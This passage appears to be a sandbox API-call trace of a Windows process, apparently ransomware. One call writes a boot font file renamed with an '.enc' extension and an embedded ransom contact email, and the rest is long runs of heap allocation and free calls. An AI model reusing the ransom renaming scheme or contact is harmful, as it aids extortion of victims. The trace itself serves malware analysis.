dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0116.310] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0116.310] GetLastError () returned 0x0 [0116.310] CreateFileA (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0116.310] GetFileType (hFile=0x3ac) returned 0x1 [0116.310] GetLastError () returned 0x0 [0116.311] GetLastError () returned 0x0 [0116.311] GetFileType (hFile=0x3ac) returned 0x1 [0116.311] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.311] GetLastError () returned 0x0 [0116.311] GetLastError () returned 0x0 [0116.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0116.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0116.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0116.312] GetLastError () returned 0x0 [0116.312] GetLastError () returned 0x0 [0116.312] GetLastError () returned 0x0 [0116.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.312] GetLastError () returned 0x0 [0116.312] GetLastError () returned 0x0 [0116.312] GetLastError () returned 0x0 [0116.312] GetLastError () returned 0x0 [0116.315] GetLastError () returned 0x0 [0116.315] GetLastError () returned 0x0 [0116.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0116.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.316] GetLastError () returned 0x0 [0116.316] GetLastError () returned 0x0 [0116.316] GetLastError () returned 0x0 [0116.317] GetLastError () returned 0x0 [0116.317] GetLastError () returned 0x0 [0116.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0116.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0116.317] GetLastError () returned 0x0 [0116.319] GetLastError () returned 0x0 [0116.319] GetLastError () returned 0x0 [0116.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.319] GetLastError () returned 0x0 [0116.320] GetLastError () returned 0x0 [0116.320] GetLastError () returned 0x0 [0116.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.321] GetLastError () returned 0x0 [0116.321] GetLastError () returned 0x0 [0116.321] GetLastError () returned 0x0 [0116.321] GetLastError () returned 0x0 [0116.322] GetLastError () returned 0x0 [0116.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0116.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0116.322] GetLastError () returned 0x0 [0116.323] GetLastError () returned 0x0 [0116.323] GetLastError () returned 0x0 [0116.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.323] GetLastError () returned 0x0 [0116.325] GetLastError () returned 0x0 [0116.325] GetLastError () returned 0x0 [0116.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a88 [0116.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0116.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.326] GetLastError () returned 0x0 [0116.326] GetLastError () returned 0x0 [0116.326] GetLastError () returned 0x0 [0116.326] GetLastError () returned 0x0 [0116.326] GetLastError () returned 0x0 [0116.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.327] GetLastError () returned 0x0 [0116.328] GetLastError () returned 0x0 [0116.328] GetLastError () returned 0x0 [0116.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.328] GetLastError () returned 0x0 [0116.330] GetLastError () returned 0x0 [0116.330] GetLastError () returned 0x0 [0116.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0116.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.330] GetLastError () returned 0x0 [0116.331] GetLastError () returned 0x0 [0116.331] GetLastError () returned 0x0 [0116.331] GetLastError () returned 0x0 [0116.331] GetLastError () returned 0x0 [0116.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0116.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0116.331] GetLastError () returned 0x0 [0116.333] GetLastError () returned 0x0 [0116.333] GetLastError () returned 0x0 [0116.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.333] GetLastError () returned 0x0 [0116.335] GetLastError () returned 0x0 [0116.335] GetLastError () returned 0x0 [0116.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.335] GetLastError () returned 0x0 [0116.336] GetLastError () returned 0x0 [0116.336] GetLastError () returned 0x0 [0116.336] GetLastError () returned 0x0 [0116.336] GetLastError () returned 0x0 [0116.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0116.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0116.336] GetLastError () returned 0x0 [0116.338] GetLastError () returned 0x0 [0116.338] GetLastError () returned 0x0 [0116.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.339] GetLastError () returned 0x0 [0116.340] GetLastError () returned 0x0 [0116.340] GetLastError () returned 0x0 [0116.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.341] GetLastError () returned 0x0 [0116.341] GetLastError () returned 0x0 [0116.341] GetLastError () returned 0x0 [0116.341] GetLastError () returned 0x0 [0116.341] GetLastError () returned 0x0 [0116.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0116.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0116.342] GetLastError () returned 0x0 [0116.343] GetLastError () returned 0x0 [0116.343] GetLastError () returned 0x0 [0116.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.343] GetLastError () returned 0x0 [0116.343] GetLastError () returned 0x0 [0116.343] GetLastError () returned 0x0 [0116.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.344] GetLastError () returned 0x0 [0116.344] GetLastError () returned 0x0 [0116.344] GetLastError () returned 0x0 [0116.344] GetLastError () returned 0x0 [0116.345] GetLastError () returned 0x0 [0116.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0116.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.345] GetLastError () returned 0x0 [0116.346] GetLastError () returned 0x0 [0116.346] GetLastError () returned 0x0 [0116.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.346] GetLastError () returned 0x0 [0116.348] GetLastError () returned 0x0 [0116.348] GetLastError () returned 0x0 [0116.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6aa8 [0116.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.349] GetLastError () returned 0x0 [0116.349] GetLastError () returned 0x0 [0116.349] GetLastError () returned 0x0 [0116.349] GetLastError () returned 0x0 [0116.349] GetLastError () returned 0x0 [0116.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0116.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0116.350] GetLastError () returned 0x0 [0116.351] GetLastError () returned 0x0 [0116.351] GetLastError () returned 0x0 [0116.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.351] GetLastError () returned 0x0 [0116.351] GetLastError () returned 0x0 [0116.352] GetLastError () returned 0x0 [0116.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.352] GetLastError () returned 0x0 [0116.352] GetLastError () returned 0x0 [0116.353] GetLastError () returned 0x0 [0116.353] GetLastError () returned 0x0 [0116.353] GetLastError () returned 0x0 [0116.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.353] GetLastError () returned 0x0 [0116.355] GetLastError () returned 0x0 [0116.355] GetLastError () returned 0x0 [0116.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.355] GetLastError () returned 0x0 [0116.357] GetLastError () returned 0x0 [0116.357] GetLastError () returned 0x0 [0116.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.357] GetLastError () returned 0x0 [0116.357] GetLastError () returned 0x0 [0116.357] GetLastError () returned 0x0 [0116.358] GetLastError () returned 0x0 [0116.358] GetLastError () returned 0x0 [0116.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0116.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0116.358] GetLastError () returned 0x0 [0116.359] GetLastError () returned 0x0 [0116.359] GetLastError () returned 0x0 [0116.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.360] GetLastError () returned 0x0 [0116.360] GetLastError () returned 0x0 [0116.360] GetLastError () returned 0x0 [0116.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ad8 [0116.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.360] GetLastError () returned 0x0 [0116.361] GetLastError () returned 0x0 [0116.361] GetLastError () returned 0x0 [0116.361] GetLastError () returned 0x0 [0116.361] GetLastError () returned 0x0 [0116.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.361] GetLastError () returned 0x0 [0116.362] GetLastError () returned 0x0 [0116.362] GetLastError () returned 0x0 [0116.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.363] GetLastError () returned 0x0 [0116.365] GetLastError () returned 0x0 [0116.365] GetLastError () returned 0x0 [0116.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0116.365] GetLastError () returned 0x0 [0116.365] GetLastError () returned 0x0 [0116.365] GetLastError () returned 0x0 [0116.366] GetLastError () returned 0x0 [0116.366] GetLastError () returned 0x0 [0116.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.366] GetLastError () returned 0x0 [0116.367] GetLastError () returned 0x0 [0116.367] GetLastError () returned 0x0 [0116.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.368] GetLastError () returned 0x0 [0116.368] GetLastError () returned 0x0 [0116.368] GetLastError () returned 0x0 [0116.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.369] GetCurrentThreadId () returned 0x9b0 [0116.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.369] GetLastError () returned 0x0 [0116.369] GetLastError () returned 0x0 [0116.369] GetLastError () returned 0x0 [0116.369] GetLastError () returned 0x0 [0116.369] GetCurrentThreadId () returned 0x9b0 [0116.369] GetLastError () returned 0x0 [0116.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.370] GetLastError () returned 0x0 [0116.371] GetLastError () returned 0x0 [0116.372] GetCurrentThreadId () returned 0x9b0 [0116.372] GetLastError () returned 0x0 [0116.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.372] GetLastError () returned 0x0 [0116.374] GetLastError () returned 0x0 [0116.374] GetCurrentThreadId () returned 0x9b0 [0116.374] GetLastError () returned 0x0 [0116.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.375] GetCurrentThreadId () returned 0x9b0 [0116.375] GetLastError () returned 0x0 [0116.375] GetLastError () returned 0x0 [0116.375] GetLastError () returned 0x0 [0116.375] GetLastError () returned 0x0 [0116.375] GetCurrentThreadId () returned 0x9b0 [0116.375] GetLastError () returned 0x0 [0116.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0116.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0116.376] GetLastError () returned 0x0 [0116.377] GetLastError () returned 0x0 [0116.377] GetCurrentThreadId () returned 0x9b0 [0116.377] GetLastError () returned 0x0 [0116.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.377] GetLastError () returned 0x0 [0116.378] GetLastError () returned 0x0 [0116.378] GetCurrentThreadId () returned 0x9b0 [0116.378] GetLastError () returned 0x0 [0116.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.378] GetCurrentThreadId () returned 0x9b0 [0116.378] GetLastError () returned 0x0 [0116.379] GetLastError () returned 0x0 [0116.379] GetLastError () returned 0x0 [0116.379] GetLastError () returned 0x0 [0116.379] GetCurrentThreadId () returned 0x9b0 [0116.379] GetLastError () returned 0x0 [0116.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0116.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0116.379] GetLastError () returned 0x0 [0116.380] GetLastError () returned 0x0 [0116.380] GetCurrentThreadId () returned 0x9b0 [0116.381] GetLastError () returned 0x0 [0116.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.381] GetLastError () returned 0x0 [0116.383] GetLastError () returned 0x0 [0116.383] GetCurrentThreadId () returned 0x9b0 [0116.383] GetLastError () returned 0x0 [0116.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.383] GetCurrentThreadId () returned 0x9b0 [0116.383] GetLastError () returned 0x0 [0116.384] GetLastError () returned 0x0 [0116.384] GetLastError () returned 0x0 [0116.384] GetLastError () returned 0x0 [0116.384] GetCurrentThreadId () returned 0x9b0 [0116.384] GetLastError () returned 0x0 [0116.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0116.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0116.384] GetLastError () returned 0x0 [0116.386] GetLastError () returned 0x0 [0116.386] GetCurrentThreadId () returned 0x9b0 [0116.386] GetLastError () returned 0x0 [0116.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.386] GetLastError () returned 0x0 [0116.394] GetLastError () returned 0x0 [0116.394] GetCurrentThreadId () returned 0x9b0 [0116.394] GetLastError () returned 0x0 [0116.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.394] GetCurrentThreadId () returned 0x9b0 [0116.395] GetLastError () returned 0x0 [0116.395] GetLastError () returned 0x0 [0116.395] GetLastError () returned 0x0 [0116.395] GetLastError () returned 0x0 [0116.395] GetCurrentThreadId () returned 0x9b0 [0116.395] GetLastError () returned 0x0 [0116.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0116.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0116.396] GetLastError () returned 0x0 [0116.401] GetLastError () returned 0x0 [0116.401] GetCurrentThreadId () returned 0x9b0 [0116.401] GetLastError () returned 0x0 [0116.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.401] GetLastError () returned 0x0 [0116.403] 